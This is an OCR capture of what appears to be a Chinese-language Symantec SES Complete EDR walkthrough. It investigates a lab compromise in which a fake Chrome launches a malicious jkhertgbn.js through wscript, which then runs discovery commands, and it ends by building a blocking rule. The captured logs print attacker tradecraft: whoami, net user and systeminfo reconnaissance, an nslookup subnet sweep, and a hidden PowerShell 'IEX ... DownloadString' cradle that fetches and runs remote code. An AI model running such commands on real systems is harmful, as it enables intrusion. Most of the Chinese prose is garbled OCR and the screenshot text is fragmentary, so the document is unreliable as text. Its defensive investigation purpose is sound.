Get file jkhertgbn.js I © Adam Apr 5, 2023, 11:08:30 AM Evidence of Compromise
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EEE A\REE BSER > FAEE (AT M TRk > ARMELSERAIA -

(1) Endpoint 2 H O i P B @ AnalyticsRedL:
Cloud Database I Endpoint I
e——
Filter by © status @
Select your query from below Quick Filter or Enter Results (Showing 1to 10f 1) e Endpoint Search | 59f5 Colur
query.
SEARCH DESCRIPTION SEARCH STATUS STARTED BY DATE 4 TYPE
I =3 Getfila jkhertgbn.js I © Adam AprS, 2023, 11:08:30 AM Evidence of Compromise
)
2, = -+ SE! H
RESHERP » B TGetFiles o
Results (Showing 1to1of1) e Download Grid 4 of 214 Columns Selected ~
TIME 4 DESCRIPTION DEVICE NAME EVEMT TYPE ID
> Apr 5, 2023, 11:08:36 AM File c:\Users\edradmin\Desktop\google chrome\jkhertgbn.js Exists ~ Victim-1 8083-File Query
Scan Now

Quarantine Device

Full Dump

Process Dump

Capture Forensic
Data

Submit to Sandbox

Send to VirusTotal

Get File

Quarantine File

FAERSEN > B 3EBRRENIXM - HRFILEENZ 2 > RIEAEERCHAABRRBESE (TIPS
MEEEIRA) o

HRIERFIERABENE » RERE THSBHMENERERE > LIBRBETHNZENEE - NEMERREMRSRIESR
BMERE (REMEIESR) > BHLESSIMITES -

Download

The file is available for download from the file store. The file is renamed to its SHA256 hash without a file extension and the encrypted file will be downloaded in the archive file format on your device.

N

jkhertgbn.js
To access the file, use the following password:

Password; 1ztttwoh

Cancel Download

| BRE | 17




B R {EERR

R CEIRFIAR RS - SE
BFFHITHFRRAE) ©

BAIE R ERBRES) > WHRE
fgn > &353R PowerShell “T—Jiﬁﬂéff%ﬁﬂ

f.ﬂ§ o SES Complete #
E’Jn\[a%/%@.] °

$«< ,f}

v Symantec.

by Broadcom

RaEFRETREZ

TIME DESCRIPTION

DEVICE NAME

EVENT TYPE ID

> Dec 16, 2022, 9:14:29 AM

Outbound: powershell.exe sent 298392 bytes to 52.55.161.82:443 and received 1054677 bytes from 172.28.48.7:50798 via HTTPS,TLS,

Victim-1

8007-Host Network Activity

RESMEANSTRUBBEGFMAEN - A THEHE Correlation ID) B o IEARERIZHBIME—

AAIREC ©

TIME 4 DESCRIPTION

DEVICE NAME

EVENT TYPE ID

~ Dec 16, 2022, 9:14:29 AM

Correlation ID

BEBEAS2A-69EC-5DED-415E-6DE364ESFCF4

Qutbound: powershell.exe sent 298392 bytes to 52.55.161.82:443 and received 1054677 bytes from 172.28.48.7:50798 via HTTPS,TLS.

Victim-1

8007-Host Network Activity

\EY

2HE TCorrelation IDJ H{UARIMNERET »
> M BIRLERE FaZREHE ID o TSR

A [Correlation ID : J
THEH o

8 Correlation ID {& - IZEEYIRE

A& REE o 7T (Filter by) U
EEREENIERER - UAKZREMTFREEFRTHNE

M | B White Paper Notes - Google Doc X | G sepasecuritycloud.symantec.com

X | o Incidents > Incidentlisting > 20 X

¥ Security Events X+

FutureEmulations Linux

“12/04

Showing events from Nov 21, 2022 1

DESCRIPTION

ATT&CK TECHNIQUE NAME

2 90

DEVICE NAME

v = X

00 :

Other bookmarks

W A B @ snayicsRediad v L adam v

1218

e Download Grid

EVENT TYPE ID

5 of 424 Columns Selected v

explorer.exe launched chrome.exe

User Execution

chrome exe established connection from 172.28.48.7:50416 t0 74.125.20.1... -

Outhound: chrome.exe sent 618 bytes to 74.125.20.101:443 and received 9.

Application Laye... +1 other

chrome exe opened 24bd96d5497f70b3f510a6b53cdd3f3e_3a89246f90c5...

<« C { & sepsecuritycloud.symantec.com/v2/investigate/events
M [E # OOk & Jrm & Backog SEDR Labs $& Analytics Confluence EDR
@ Endpoint
@ Cloud Database
1
Q Time Range @ Group By @
El:l Last 30 Days v Results (Showing 1 to 25 of 3912)
Filter by @ B2 sovancea TIME ¢
commeLATL.  BEBEAS2A-69EC-SDED-415E-6D..
E Dec 16,2022, 91150 A...
@ Dec 16, 2022, 9:11:57 A
(ul )
Dec 18, 2022, 9:11:57 A
Operators
Dec 16,2022, 9:11:57 A...
N () me om
@} i} Dec 16, 2022, 9:11:57 A...
Quick Filters

What would you like to filer? Dec 16, 2022, 9:11:57 A

Dec 16, 2022, 9:11:57 A
> Key Performance Indicators
> Severity

Dec 16,2022, 9:11:57 A.
> Category

> Activity Type
Dec 16, 2022, 9:11:57 A.
> Security Technology Detections

chrome exe opened 24bd96d5497f70b3f510a6b53cd43f3e_3a89246fb90cS... -

chrome.exe opened 24bd9605497f70b3f510a6b53cdd3f3e_3289246090c5... -

Outbound: chrome.exe sent 715 bytes to 199.36.153.11:80 and received 72.

chrome exe established connection from 172.28.48.7:50417 t0 199.36.153...

chrome exe established connection from 172.28.48.7:50417 t0 199.36.153... -

Victim-1

Victim-1

Victim-1

Victim-1

Victim-1

Victim-1

Victim-1

Victim-1

Victim-1

2001-Process Activity

8007-Host Network Activity

8007-Host Network Activity

2003-File Activity

2003-File Activity

3003-File Activity

8007-Host Network Activity

8007-Host Network Activity

8007-Host Network Activity

BRET —MHItRFLA

BEERUSHABSEM - RFIRRESER 7 EAMI%ES B R EMZAFIchrome.exe °

(TEAfh & EE Chrome| & 2sMexplorer.exe) FARHEENERBE - Hbh—EigEA 23

Dec 16, 2022, :12:00 AM  chrome.exe created jkhertgbn.js.

Ingress Tool Transfer

Dec 16, 2022, 3:12:02 AM  chrome.exe launched wscript.exe.

Command and Scriptin...

+ 1 other

"C:\Windows\System32\wscript.exe” jkhertgbn.js
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MEBEN—EHZRE—THESFM > AINEBRTERSN - AILRFIEARZERAIENAEERITEEDiscovery
ATTCK #5247 - AR B1TAE ERILREIREG » Lot e S ARREEE -

M | B White Paper Notes - Google Doc X | G sepsecuritycloudsymanteccom X | & Incidents > Incidentlisting > 200 X @ Security Events ™ = X
<« C () & sepsecuritycloudsymanteccom/v2/investigate/events 2 % © *»00 :
M E ® OOk & Jim € Backlog SEDR Labs §& Analytics Canfluence EDR FutureEmulations. Linux Other bookmarks

@ Endpoint 2 OO Wi A B @ sayicsRedtab v L adam v
Cloud Database
TIME 4 DESCRIPTION ATT&CK TECHNIQUE NAME PROCESS COMMAND LINE
= Dec 16,2022, 9:11:50 AM  explorer.exe launched chrome.exe. User Execution "C:\Users\edradmin\Desktop|Google Chrome\Chrome.exe”
Time Range @
Dec g, 2022, 9112:02AM  chrome.exe launched wscript.exe. Command and Scriptin... +1 other "C:\Windows\system32\wscript.exe” jkhertgbn js
Last 30 Days v
Filter by @ m PR Dec 16,2022, 9:1204 AM  chrome.exe terminated chrome.exe. "C:\Users\edradmin\Desktop\Google Chrome\Chrome.exe”
CORRELATL.  BEBEAS2A-69EC-SDED-415E-€D...
M EENTTREID  S001-Process Activiy Dec 16,2022, 9:12:08 AM  wscript.exe launched whoami.exe. Account Discovery + 2 others whoami.exe
Dec 16, 2022, 9:12:08 AM 0ami.exe terminated whoami.exe. whoami.exe
2
m Dec 16,2022, 9:12:08 AM  wscript.exe launched net exe. Remote Services: SMB/... 1 other net user
Operators
( ) AND o Dec 16, 2022, 9:12:08 AM wscript.exe launched nat.exe. Account Discovery: Do... +3 others net user
Quick Filters Dac 16,2022, 9:1211AM  net.exe launched netl.exe. Account Discovery: Do... +3 others C\Windows\system32\nat1 user
What wauld you like to filter?
Dec 16,2022, 9:12:11 AM  net.exe terminated net.exe. net user
> Key Performance Indicators Dec 16,2022, 9:12:11AM  net.exe terminated net.exe net user
> Severity
> Category Dec 16,2022, 9:12:11 AM  pat].exe terminated netl.exe. C:\windows\system32\net1 user
> Activity Type
> Security Technology Detections Dec 16,2022, %1211 AM  wscript.exe launched systeminfo.exe. Account Discavery + 1 other systeminfo

RS —ErREREERRAETEMRRNERERNENER - AJE [RFESE

TREHRNBRE ° U TEHEHE

PIRBETRZIZF AR TBNFBEESR « B EREREE

Cloud Database

—.

Time Rangeo

Last 30 Days v

m Advanced

Filter byo

CORRELATL.. BEBEAGZA-69EC-SDED-415E-6D...
AND (
EVENT TYPEID  8003-File Activity OR

EVENT TYPEID  8006-Registry Value Activity

OR
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ME RS B (I MEF ZREeR)  WETREERFEIRENEIZES -

S—EEERERFEFERNTGE > Z&ER SES Complete BY MZEHED4H) 7% - BB [1ROER D) Thes > 7IAM
EESRMPLERRR

It

<« C ) & sepsecuritycloudsymantec.com/ud/investigate/events/groups/process 2 % ©O0 »0@ :
M [E W QCke & lir € Baklog SEDR Labs 38 Analytics Confluence EDR FutureEmulations Linux Other bookmarks
@) Endpoint 2 O A B @ sayicsRedlab v L sdem v
Cloud Database
Group Eyo File P T
- 4 of 4 Columns Selected ~
Time Range @ PROCESS NAME PROCESS SHA2 EVENTS COUNT 4 DEVICES COUNT
Last 30 Days v
ab032d. 10cf30f baseab391e042d720167ed! f a’ .
0 nslookup.exe 752 1
Filter by @ 22 ~evances
CommeLATL.  BEBEAS2A-GIEC-SDED-415E-6D. n etexe 93767590 cbcd705726460fc4a7e2b07f310f52baa73caaaaa1 24fddbd 993 |
AND  EVENTTYPEID 8001-Process Activity
D Sluiexe bae28691ee1df6693795c679a8d097edf39ace2758dae4as80d00fbb79ccObl 1
5
12abb45620a7a1ffd8bbI53deba3fec 4b2ff523f17519bT2bf6ba7d4
[EE=CE| oo ’ '
Operators
18f76bc1f02a161ebdedf3142273¢186d05a836addcaaee599194089fd59f3
() om0 om D netl.exe 3 1
Quick Filters 34008e2057df8842df210246995385a0441d 1 €081 d60ad 15bd481 e062e 7
B wscript.exe 3 1
What would you like to filter?
" 6f87caaS1bdeaB02045bb281fc2686a3c76364c26a3ffesc2ccacdaf5fadb37i
0 systeminfo.exe 3 1
> Key Performance Indicators
9f914d42706fe215501044acdB5 a32d58aaef1419d404fdd a5 d3bABfbEecdt
> Severity 0 ershall.exe 3 1
> Category
412747e939030206316415332362b21CEf7:
> Activity Type D tasklistexe be. et 19cc15c0248¢ |
> Security Technology Detections

REBEM S BRETZIZFIFTA RS o EREARBTEE EF)A nslookup HAMFREPRFIAHSBNITRIRRAER -
s R EmRARAIEAIH nslookup 837 RERTECRY IP fiik o

Cloud Database
1127 "12/04 1211 "12/18

Showing events from Nov 2

Time Range @ Group By @ Extel File 1P Polic T
Last 30 Days v
Selected Filters  Process  nslockup.exe Clear
Filter by @ =1 sovenced
Results (Showing 1 to 25 of 497) e Download Grid | 4¢f424 Columns Selected
CORRELATL.  BEBEAS2A-69EC-5DED-415E-6DE...
TIME ¢ DESCRIPTION ATTECK TECHNIQUE NAME PROCESS COMMAND LINE
4 Dec16,2022,9:14:26 AM  powershell.exe launched nslookup.exe. Remote System Discov... + 1 other *C:\Windows\system32\nslookup.exe" 172.28.48.255
Operators Dec 16, 2022, 9:14:26 AM ershell.exe launched nslookup.exe. Remote System Discov... + 1 other "C:\Windows\system32\nslookup.exe" 172.28.48.254

Dec 16, 2022, 9:14:26 AM ershell.exe launched nslookup.exe Remote System Discov... + 1 other “C\windows\system32\nslookup.exe” 172.28.48.253

Custom Filter

Dec 16, 2022, 9:14:26 AM ershell.ex launched nslookup.exe. Remate System Discov... + 1 other *C:A\windows\system32\nslookup.exe” 172.28.48.252

Dec 16, 2022, 9:14:26 AM ershell.exe launched nslookup.exe Remote System Discov... =+ 1 other "C:\windows\system32\nslookup.exe"” 172.28.48.251

Dec 16, 2022, 9:14:26 AM ershell.exe launched nslookup.exe. Remate System Discov... + 1 other “C\windows\system32\nslookup.exe” 172.28.48.250

Dec 16, 2022, 9:14:26 AM ershell.exe launched nslookup.exe. Remote System Discov... + 1 other "C:\Windows\system32\nslookup.exe"” 172.28.48.249

Dec 16, 2022, 9:14:26 AM ershell.exe launched nslookup.exe Remote System Discov... + 1 other "C:\Windows\system32\nslookup.exe” 172.28.48.248
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WEFEABHNEEEMITRE ATTACKETTHAE » UEERZEMIZEFHEPT R BRVRMBIN - BBEMEHEE I EEBRE
BRVSFAEE o

Cloud Database

@

Gmupayo Application  Detection Device Device Group Technolog
@ C 3 0f 3 Columns Selecte,
Time Range @ ATT&CK TECHNIQUE UID ATT&CK TECHNIQUE NAME EVENTS COUNT &
v
Last 30 Days M t1074 Data Staged s18
Filter by @ =1 sdvanced
M 1049 System Network Connections Discovery 258
CORRELATL.  BEBEAS2A-69EC-SDED-415E-6DE...
M 1018 Remote System Discovery 257
M 1059 Command and Scripting Interpreter 55

y

m M t1064 Scripting EX

& PEO@EFP O

Gperat
( o oR M 1105 Ingress Tool Transfer 15
Custom Filter M 1082 System Information Discovery 14

M 1071 Application Layer Protocol 10

M +as72 Encruntad fhannal

SEREA
WREBEBERFAHERFRA BEZMBER o SES Complete EILERIBERIBZ WL o

FifE AT Z8E > WAEREEEMY TNOT Actor Integrity Id : (5-High OR 6-System) B PROCESS INTEGRITY ID : (5-
High OR 6-System) ¥#17E:E o R ZAVESMEUBRERXEF TR ESRMBNEFBE

Cloud Database

E>

v Event Timeline @

@1

-

l' Time Range @
IE_ Last 30 Days ~
oo "
Filter byo m Advanced
E NOT ACTORINTEGRL.  (5-High OR 6-Sys._
AND
@ PROCESS INTEGRITYID {5-High OR 6-System) ‘o1/01 o1/08 '01/15
4
w m Showing events from Dec 31, 2022 7:04:50 AM to Jar
Operators
Gr‘.‘.iupB).r° Application Detection Device Device Group External Device File IP Address
( AND OR
Results (Showing 1 to 25 of 28)
ﬁ‘?’ Quick Filters
TIME DESCRIPTION DEVICE NAME
@} ‘What would you like to filter?
Jan 17, 2023, 12:52:31 PM powershell.exe launched slui.exe with elevated integrity level. Victim-1
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{EMLive Shell&EfTHETAZE
BNf&ESES Complete AR KBIINEE > EHERHNAEFEFEHAE S I A o SES CompleteiBE S1SIREFEE o
B R AREEEERELIEBSEEE LiveShell o

Live Shell Configuration @

o Turn Live Shell on/off

BE > AEIEE 2RI, 0 #IE TMore Actions) » JA%BE6EE TEx@ELiveShell Session) BIE] ©

BENZEEE » ARRETECHARRUFIZEE -

Live Shell

Enter the device credentials or the domain administrator credentials to connect to the device.
Usernames

Alice @

Password

Domain

MyDomain

Connect

FEPIE TR IR R 2 SRS R (SESC) NI ER AE REHERKE | A/E | 22



fSyma ntec.

by Broadcom

TRERSIRAL_ERY PowerShell TYERERRZEVER - BiRMA/EERBEESHER > TR TEREERTF G ERBEER o Lt T
BEEEZMEES o ILETRE THILHIT ProcDump TH > MEUF

{EPEER AT A PR RIFRI TR » WHITHIES LARE:
THREFNEFE  BREESFEEREERREEETOW

#

victim-1

DEVICE NAME

Windows 10 Professional Edition 10.0.19044
05 VERSION

Default

DEVICE GROUP

172.28.48.7

IPV4 ADDRESS

PS C:\Users\edradmin\Desktop> cd tools
ca tools
Users\edradmin\Desktop\tools> Invoke-WebRequest —URL https://download.sysinternals.com/files/Procdump.zip -QutFile Procdump.zip
ke-WebRequest —URI https:// load.sysinternals.com/files/Procdump. zip —OutFile Procdump.zip
€:\Users\edradmin\Desktop\tools> Expand-Archive Procdump
and-Archive Procdump.zip
Users\edradmin\Desktop\tools> cd
lcd. Procdump
PS C:\Users\edradmin\Desktop\tools\Procdump> ./procdumpét —ma 7736 -accepteula
-/procdumpe4 -ma 7736 —accepteula

Prochump v11.0 — internals process dump utility
copyright (C) 22 Mark Russinovich and Andrew Richards
sysinternals - www.sysinternals.com

) . Automatic timeout after inactivity of 10
1 initiated: C:\Users\edradmin\Desktop\tools\Procdump\powershell exe |_215109.dmp N
1 writing: Estimated dump file size 2 minutes
1 complete: 247 MB written in 0.6
count reached.

[PS C:\Users\edradmin\Desktop\tools\Procdump> 1s
s

Directory: C:\Users\edradmin\Desktop\tools\Procdump

LastWriteTime Length Name

Eula.txt
powershell.exe 221221 215109.dmp
procdump . exe

procdumpésa. exe

Users\edradmin\Desktop\tool:

tem . 22
Users\edradmin\Desktop\tool:

Live Shell @ ® Connected ; Victim-1 End Session (

SeRlsessionMUECERIERY T B TR MEBERLM) Z lLive Shell Sessions) &1 > HEBIGEIE TE ©

@ EnAdnnint 2 N A § A B M snavticRadian v

add & =T et evid veUpdati — Morelicans v
e Add to Device Group ° Delete Device 9 Run LiveUpdate Scan Now ° More Actions A X
E Victim-1
® Compromised Default 0 14.3.9203.6000
0 Professional Edition 10.0.19044 edradmin
=
Live Shell Sessions
Results (Showing 1 to 2 of 2) 5 of 5 Columns Selected v
SESSION INITIATED DEVICE SESSION USER DURATION START TIME END TIME ¥
adam Glick edradmin 6 minutes Dec 21,2022, 1:43:40 PM Dec 21,2022, 1:56:14 PM
. . ) - _ Download
adam Glick edradmin 19 minutes Dec 21,2022, 1:18:45 PM Dec 21,2022, 1:37:52 PM
Preview
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SES COMPLETE i2{# SES Complete/NiEfEE T (£
RE ~ ZERESR SES Complete 12fHHuE « S EREIREINA » HENBIE SRS o
ThRE > 1 Bhi& Lk ik 5B (A S e e s

a5
B o REEIEHE TEEATEE ] BEAIEZER » B More Actions) > ABE
## TQuarantine Filel  BIRI# I8 RHE EI5E Inkh 5 B IEITIRE

o Add to App Control Policy Make Trusted Updater @ Send to VirusTotal ° More Actions ¥

Process Dump

| j nc.exe Add to Allow List
FILE NAME

Add to Deny List

wvery High 7 or more days ago 1 Submit To Sandbox wel I CA
RISK FIRST SEEN ON DEVICES SEEN ON
Quarantine File
Hide
EVEL
Get File

SRIERE HEEER) URRIRAERES > WHIERKEFA R L2 Z0E
HERENZIEZEMIZR ° SES Complete R RERE HEBBERR) » WUE
EEI HEEER) FREEANRELEE -

° Add to App Control Policy Make Trusted Updater @ Send to VirusTotal ° More Actions

Pracess Dump

| ﬁ nc.exe Add to Allow List
FILE NAME
Add to Deny List
very High 7 or more days ago 1 Submit To Sandbox
RISK FIRST SEEN ON DEVICES SEEN ON

wel IIT CA

Quarantine File

Hide
EVEL
Get File
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bt~ IRIEZZEER
MITERIMRVIE1E1ESE -
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Select the policy to deny selected files

FEPIE TR IR R 2 AR R (SESC) NI AN ER RS REHERKE | A/E | 25
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Prmkdc &
AREBAR  CAISHIRRNHMEE 2SN » P IERRIERR > WRETR R
RENCCERRE (B2BERINRITA) - EAJ7ESES CompleteRy RS E

FIEZEE > UNEHRELENE SHEANEEFMENER » BFEH
# TQuarantine Device] °

E—

) acreddev
nalexe Comrmand-liseDetaction / \ Investigate

Show Details

it

Quarantine Device

T Command-line Detection

Ungquarantine
Device

Full Dump

show Malicious
Files

wmic.exs powershell exe

Move With
MNeighbors

TEPRBRHEARS - sZEEBEAEE SES Complete #E1TiE@ » WA BB M MR ITISE
NEREHZEIIESR (GINRUENERNEZETAERERLS) < BBEESES
Complete BYF@BEAAE ST > IEISLARFHEHITIATRIE © 1€ SES Complete EEMETE
Bh ~ IRIULZEEH - MITERIMEERRRS -
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LIVE SHELL 7Re] B2 LlLive ShellHiTI&1EAE
HITEETEEDER BIFATE THR SESC B9 Live Shell HN{ARITE HEES /T E1ET3H2 © Live Shell

AV

TRAIBRBITEMER D IR - 2GR BRI B L 2R EEE1TRER
BB IEBERER ©

Bt sAEREEEERIREEHERTE LiveShell -

Live Shell Configuration @

(} Turn Live Shell on/off

FEIBERmEL « B5E TMore Actions) » 7AT8#842 TStart Live Shell Session]
HRIBAR EZ IR, o

a Add to Device Group o Delete Device e Run LiveUpdate @ Scan Now ° More Actions Vs

@ Collect Remote Diagnostic Logs
Victim-1
E DEVICE NAME @ Restart

Quarantine Device

® Compromised Default 0
DEVICE STATE DEVICE GROUP FILES AT RIS| I@ Start Live Shell Session I
12/30/2022, 10:44:35 AM windows 10 Professional Edition 10.0.1... @ Full Dump
LAST UFDATED 05 VERSION
@ Capture Forensic Data
B ~ARES A JEHEE = AL
AR AREUFIZERE -
Live Shell

Enter the device credentials or the domain administrator credentials to connect to the device.

Username

Alice @

Password

Domain

MyDomain

Connect

EHFAETHITH PowerShell 2% » HMIEARNEIES Get-WMIObject ©
B SO U AEMEMEYSE PowerShell 35% » A TEERIFHIA o

0N

rs\Defaule> Get—WmiChject Win32 Process -Filter "name = 'P

r5hell.exe'" elect-Object ProcessId, CommandLine
Ject Win32 Proce —Filter "name = 'PowerShell.exe'"™ | Sel

-Object ProcessId, CommandLine

1

700 1l.exe"™ -windowstyle hidden -exec bypass -C
4656 C:\W.

"IEX (New-Object Net.WebClient).DownloadString('https...
ystem3z\WindowsPowerShell\vl.0\powershell.exe
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A PowerShell I5SHBEEHITHRYE PowerShell 27 (B#FEHRMEEN
Live Shell Session) BABEAR[E o EEARE TELHITIHIA » HIZFFHRIEA
1700 °

EEFFIER PowerShell B9 Stop-Process 5 4R IERR B 4s » B RIGIRFAE
IEFEHITHY PowerShell 127 » URESREBRINARLE ©

\system32\WindowsPowerShell\vl.0\powershell.exe

PS C:\Users\Default>

Write Your Own Custom Protection

S<$& SES Complete BYB—JERER > EFFHERITB RS - BFIERER
T2ENFFEERT SES Complete BIBAE R RIS - UEHRTEE RES) - B
REALLEETRESIRIE > ALL SES Complete AAFFITARR B M5 R E AR
) WRBMBHTREZITE -

BE)2E0 0 BRRFPIBRERENYIERSER - Chrome BIE) wscript.exe JRET
=& JavaScript ° SES Complete FBETERAREXTABERERILERE - B:]
FERRERITABERBUSCARKNBERERE » BEAFKMABEREEBR
Al - BEARTEBREHETR > AIRHTIRIFEHAAKTHE ©

gifE TEER) BE EEREAN (HEIHN) BiIEARNTABER - 3
FAdd Rule Sety LUEIIFRVFRBIEE

@ rooyypoiicy @) Remove poicy @) puplicate Policy @) Detere @) More Actions 7
o) Custom Application Behaviors Policy
4 Custom Application Behavior 0
POLICY TYPE VI
Adam Glick 0
CREATED BY POLICY GROUPS
Details

Custom Rule Sets @

se custom rules to isolate custom application behaviors,

NO. RULE SET NAME STATUS @
1 Block programs from running from removable drives [AC2] [ or |
2 Elock modifications to hosts file

AR > ABIZT TAdd) LURTIEIEARA -
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ISR R R R o
RSt (£ 4 AIH A

Use custom rules to isolate custom application behaviors.

NO. RULE SET NAME STATUS @

6 &lock Chrome launching wscript [

Block Chrome launching wscript

E=n) - |

RHERFTIRAIS A T AR - A%IET TAdd Ruley #if -

D 6 Block Chrome launching wscript .

Block Chrome launching wscript

(® Rules @

EIAFREILTE > A% T TAdd Included Applications ©

X
Add Rule?

This rule defines process in which Symantec Endpoint Protection monitors for attempts specified in the rule condition.

Block chrome launching scripts

Enzble this rule

Applications
Included Applications

Befaviors and Actions List of included applications @

FILE NAME HASH COMMAND LINE

summary: No applications have been defined in the included applications list. Add at least one application to the list

IERIEERAEARRR (&6lF% Chrome) o SES Complete RS fEEEIA M
ICEZILRAE AR FED - flI » SR LOEIE R « EREARER S
REEREASSERIERE (UIATRRIAIE S RT R PRIRAS - I USB BEBTE) -~ MEE
Eb¥t > 9P BHBBERFTR o AFF > HFPEIFETEES chrome.exe B9
FERRR » BmEBITAERM o
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T_$%*EE}£Wﬁ E BH Add Included Application°
_|J: C h rome i;l{[i' uﬂl}%*}’?‘% AddRule | Add Iclued Appication

@ Application Name to Match*

1’E ° [phrome exe ]

The name can include environment variables. wildcards (*.2). and registry keys. Example: Séwindirsé\system32¥ or C:\windows* exe

s

@ Use wildcard matching (* and ? supported)

Use regular expression matching

Only match applications running from the following drive types
Only match applications running en the following device id type
Selec

Match the File Fingerprint*

Only match applications with the fallowing arguments

Save Included Application

T—HRBIEEHKMEFEL Chrome BITRYIRIE o Afd » FFIEFELE Chrome
ERENSETZF ° sAIKFIEE MBehaviors and Actionsy ~ TLaunch Process
Attempts) ZHITHIATEE > MK Add Conditions ©

X
Add Rule®

This rule defines process in which Symantec Endpaint Protection monitors for attempts specified in the rule condition.

Block chrome launching seripts

Enable this rule

Applications

Behaviors and Actions (3) File and Folder Access Attempts @

ExpandAll | Collapse All

0 Records

Launch Process Attempts o

NO. CONDITION NAME DESCRIPTION

() Registry Access Attempts @ 0 Records
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LrstEieE BIRIERF -

ARt ens > A% T TAdd Process Definition
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Launch Proces Attempt5°

Beh: Actions | L

Properties

This condition defines the DLL's for which to detect load attempts by the monitored processes.

Block wscript

Enable this condition

Apply to the following processes:

Do not apply to the following processes:

@ 2dd Process Definition

@ Ada process Definition

BMBRESESEREE » AEHIEEBERER o LIRS > HAEHHEER
4% wscript.exe B2 o A Process Name to Matchy > ZA%3#%F lSave
Process Definitiony ©

Add Process Definition®

Behaviors and Actions | Launch Process Atempts | Add Process Definftion

@ Process Name to Match*

[rscript exe

The name can include environment variables, wildcards (*.?), and registry keys. Example: %windirs\system32* or C:\windows™ exe
@ Use wildcard matching (* and ? supported)

() Use regular expression matching

["] only match process running from the following drive types

Only match process running on the following device id type

Match the File Fingerprint*

Only match processes with the following arguments

Selec

Cancel | Save Process Definition |
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REKMEISEE wscript.exe B chrome.exe EIENEF » FFIFBZHITRIIRIE ©

FHEEEY TActions) 1Z%E > 3T Block access) & T'Save Condition,

o

Launch Process Attempts®

Behaviors and Actions | ‘ocess Aniemprs

This condition defines the DLL's for which to detect load attempts by the monitored processes.

Read Attempts

Allow access

@ Block acces: s

Terminate Process

Enable Logging

Notify User

F lSaveRules o

Add Rule®

This rule defines process in which Symantec Endpoint Protection monitors for attempts specified in the rule condition.

Block chrome launching scripts

Enable this rule

Applications

Behaviors and Actions () File and Folder Access Attempts @

) Launch Process Attempts @
NO. CONDITION NAME DESCRIPTION

1 Block wscript

(3) Registry Access Attempts @

Expand All | Collapse All

1 Records

@ 2dd condition

EIRIRAIERIRIEA T o BEEE Chrome EXE) wscript BHEWCER > 5%E
MMonitor) 18z o BEIRAKBIHAFUEIEERNET > BREABRFAEEH

HEFRERIE & (E o
EEFHRRBR A > 5582 TOny

[==R{AY
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ARt A IRIRFIAY [Save) FRsRIAETFILECER o

‘ cee ‘ e
Custom Rule Sets @
e custom rules to solate custom application behaviors.
@ AddRul

NO. RULE SET NAME 5TATUS°
Block programs from running from removable drives [Ac2]
2 Block modifications to hosts file
a Stop softw tall

s lock Chrome launching wscrit =]

&% FHURILEBRERAE—EANZERREEAE - AAEREIRRMTA
FApply Policy) - MEZEERBRERNVEERME -

Details

Custom Rule Sets @

Use custom rules to Isolate custom application bahaviors.

3

[
B
d
&
]

WEREHEE

BE (KRB St RSB BEEHRNKERS  RBEERASE
AN JavaScriptifITIEZIS - BEZSBEARMAIEREERS/EBEER
FRMENES RZEHRE > ERARLAERRMFREBIABAREE R
25 > FEMHPowerShel|BIRUACKEBLURTHEIR » MEURESN > DERBIE
> EITRAEBE > REFBIBIERINE

AR > SES Complete ELUEM R IEN AR 2IRE LD A BRI ?

YARmIFRAt > SES Complete FERBREIRIECZRAINRE o 2 REl HiBHE
EINRERIRLAE » I SES Complete YIHAEIFFREITET (LR FEZEAR
FERE) > ZRATRAGHAEESENERETRITRE - 7ERIAREI
FERYRIIR T - SBIRFIB P RAE SESC RIBEIEER -
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I TEMIERTFS (avascript[1]) RIEREFIEEE > lERENE

BRARGERALE » BFE% jkhertgbn.js ©

Jan 17,2023, 12:52:15 PM

Jan 17, 2023, 12:52:15 PM

Jan 17, 2023, 12:52:15 PM

Qutbound: chrome.exe sent 806 bytes to 173.194.202.132:443 and received 23609 bytes from 172.28.48.7:53971 via HTTPS,TLS.

chrome.exe created javascript[1]

chrome exe created jkhertgbn js.

application Layar Protocol: Web Pro... + 1 other () "C:\Users\edradmin)\AppData\Roam.

Application Layer Protocol: Web Protocols Encrypted Channel: Asymmetric Cryptography

Ingress Tool Transfer "C:\Users\edradmin\AppData\Roam... ..

Ingress Tool Transfer "C:\Users\edradmin\AppData\Roam... -

ChromeBg&E#1T 7 ERI T &R EJavaScriptZ a5 o

Jan 17, 2023, 12:52:15 PM

chrome.exe launched wscript.exe.

Command and Scripting Interpreter + 1 other "C:\Users\edradmin\AppData\Roaming\Google Chrome\Chrome.exe” "C:\Windows\System32\wscript.exe” jkhertgbn.js

EEE JavaScript BE#&

@

AR Windows 1230 » LURERINAHBET -

Jan 17, 2023, 12:52:16 PM

Jan 17, 2023, 12:52:17 PM

Jan 17, 2023, 12:52:17 PM

Jan 17, 2023, 12:52:18 PM

Jan 17, 2023, 12:52:18 PM

wscript.exe launched whoami.exe. Account Discovery + 2 others “C:\Windows\System32\wscript.exe” jkhertgb..  whoami.exe

wscript.exe launched net.exe. Remote Services: SMB/Windows ... + 1 other C:\Windows\System32\wscript.exe” jkhertgb...  net user

wscript.exe launched net.exe. Account Discovery: Domain Acco... + 3 others "C:\Windows\System32\wscript.exe” jkhertgb...  net user

net.exe launched netl.exe. Account Discovery: Domain Acco... + 3 others net user C:\windows\system32\net1 user

wscript.exe launched systeminfo.exe. Account Discovery + 1 other "C:\Windows\System32\wscript.exe” jkhertgb..  systeminfo

SES Complete 7E#17

THFENS JavaScript » EEBMEHLUERERI—SRP TFMEU ) 89 Windows BXFREEER

v Jan 17, 2023, 12:52:23 PM
Data
Analysis
AMSI Risk
“ Source Monitored
Data
Vv Event Information
Event Type Id
> Jan 17, 2023, 12:52:23 PM

> @ lan17,2023,12:52:24 PM

AMSI event detected for wscript.exe "C:\Windows\System32\wscript.exe” j...  Command and Scripting... + 1 other IHost.CreateObject(”

IHost.CreateObject{"WScript.Shell"); IwshShell3.5pecialFolders("AppData”); IHost.CreateObject("Scripting.FileSystemObject"); IFileSystem3.

IHost.CreateObject("WScript.Shell”);
IWshShell3.SpecialFalders("A
IHost.CreateObje:
IFileSystem3. FileExists
IFileSystem3.DeleteFile(™C
IFileSystem3.Create TextF
IWshShell3. Exec"whaami.ex
IWshExec.StdOut();
[TextStream.ReadAll();
ITextStream WriteLine("whoami output: ")
IHost.CreateObject("WScript.Shell"); IwshShell3.5pecial Folders(| !,Tfmsneam Miriteline("victim- 1‘ed'acm "
IWshShell3.Exec("net user");
IWshExec.StdOut();
[TextStream.Readall]);

ITextStream WriteLine("net user output: ")
[TextStream. WriteLine(”

User accounts for WWICTIM-1

ppData”);
ch(” Scllptmg FileSystemObject");
("C shedradmin\AppDatatRoaming\testtmp");
dradmin’AppData‘\Roaming\test.tmp”
